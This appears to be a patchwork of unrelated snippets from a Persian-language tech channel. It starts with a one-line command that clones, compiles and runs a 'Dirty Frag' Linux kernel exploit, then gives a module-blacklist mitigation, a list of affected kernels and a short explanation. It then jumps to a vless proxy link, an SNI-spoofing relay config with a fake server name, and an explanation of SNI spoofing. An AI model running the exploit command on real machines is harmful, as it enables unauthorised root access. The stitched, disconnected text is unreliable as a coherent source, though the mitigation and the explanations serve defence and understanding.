The Commit

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

echo 3 > /proc/sys/vm/drop_caches

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

Ubuntu 24.04.4: 6.17.0-23-generic RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64 openSUSE Tumbleweed: 7.0.2-1-default CentOS Stream 10: 6.12.0-224.el10.x86_64 AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64 Fedora 44: 6.19.14-300.fc44.x86_64

ایده شروع این تحقیق از آسیب‌پذیری Copy Fail گرفته شده. به‌طور مشخص، بخش xfrm-ESP در زنجیره آسیب‌پذیری Dirty Frag از همان نقطه ضعف مشابه Copy Fail استفاده می‌کند. اما تفاوت مهم این است که این آسیب‌پذیری مستقل از وجود ماژول algif_aead فعال می‌شود. به عبارت دیگر، حتی اگر روی سیستم راهکار شناخته‌شده مقابله با Copy Fail (مثل غیرفعال کردن algif_aead) اعمال شده باشد، باز هم لینوکس شما در برابر Dirty Frag آسیب‌پذیر باقی می‌ماند.

@PythonFarsi2024

vless://80c0f29f-850e-4044-a4ee-0b0697d8ca26@127.0.0.1:40443?encryption=none&security=tls&sni=dl1.speedysho.com.&fp=chrome&insecure=0&allowInsecure=0&type=xhttp&host=dl1.speedysho.com&path=dl%3Fed%3D2560&mode=auto&extra=%7B%22downloadSettings%22%3A%7B%22address%22%3A%22127.0.0.1%22%2C%22port%22%3A40443%2C%22network%22%3A%22xhttp%22%2C%22security%22%3A%22tls%22%2C%22tlsSettings%22%3A%7B%22serverName%22%3A%22up1.speedysho.com%22%2C%22fingerprint%22%3A%22chrome%22%7D%2C%22xhttpSettings%22%3A%7B%22path%22%3A%22%2Fdl%3Fed%3D2560%22%2C%22host%22%3A%22up1.speedysho.com%22%2C%22mode%22%3A%22auto%22%7D%7D%7D#%E2%9A%AB%EF%B8%8FBaraye_azadi_bot

{
  "LISTEN_HOST": "0.0.0.0",
  "LISTEN_PORT": 40443,
  "CONNECT_IP": "104.18.4.130",
  "CONNECT_PORT": 443,
  "FAKE_SNI": "security.vercel.com"
}

حمله SNI Spoofing چطور کار می‌کند؟ در این حمله، مهاجم مستقیماً به اتصال شما با سرور اصلی دستکاری نمی‌زند (برخلاف MITM سنتی). بلکه دو کار اصلی با آن انجام می‌شود: 1. فیلترینگ و مسدودسازی (مهمترین کاربرد): فیلترکننده‌های اینترنتی (مثل دیوار آتش) رشته متنی داخل SNI را می‌خوانند. اگر نام سایت در لیست سیاه باشد (مثلاً twitter.com)، اتصال را قطع می‌کنند. در SNI Spoofing، مهاجم یا کاربر، ابزاری را طوری تنظیم می‌کند که در مرحله SNI، نام مجاز دیگری (مثل microsoft.com) را اعلام کند، اما در اصل به سرور اصلی (twitter.com) وصل شود. فیلتر که فقط microsoft.com را می‌بیند، اجازه عبور می‌دهد. (به این کار SNI Spoofing یا گاهی دور زدن فیلتر می‌گویند). 2. جعل هویت (کاربرد حمله‌ای): مهاجم می‌تواند یک سرور جعلی راه بیندازد و در پاسخ به SNI قربانی، خودش را جای سایت اصلی جا بزند. اما این روش به دلیل وجود مکانیزم‌های امنیتی مانند گواهی SSL/TLS (که هویت سرور را تأیید می‌کند) به سختی انجام می‌شود و مرورگر معمولاً خطای گواهی میدهد.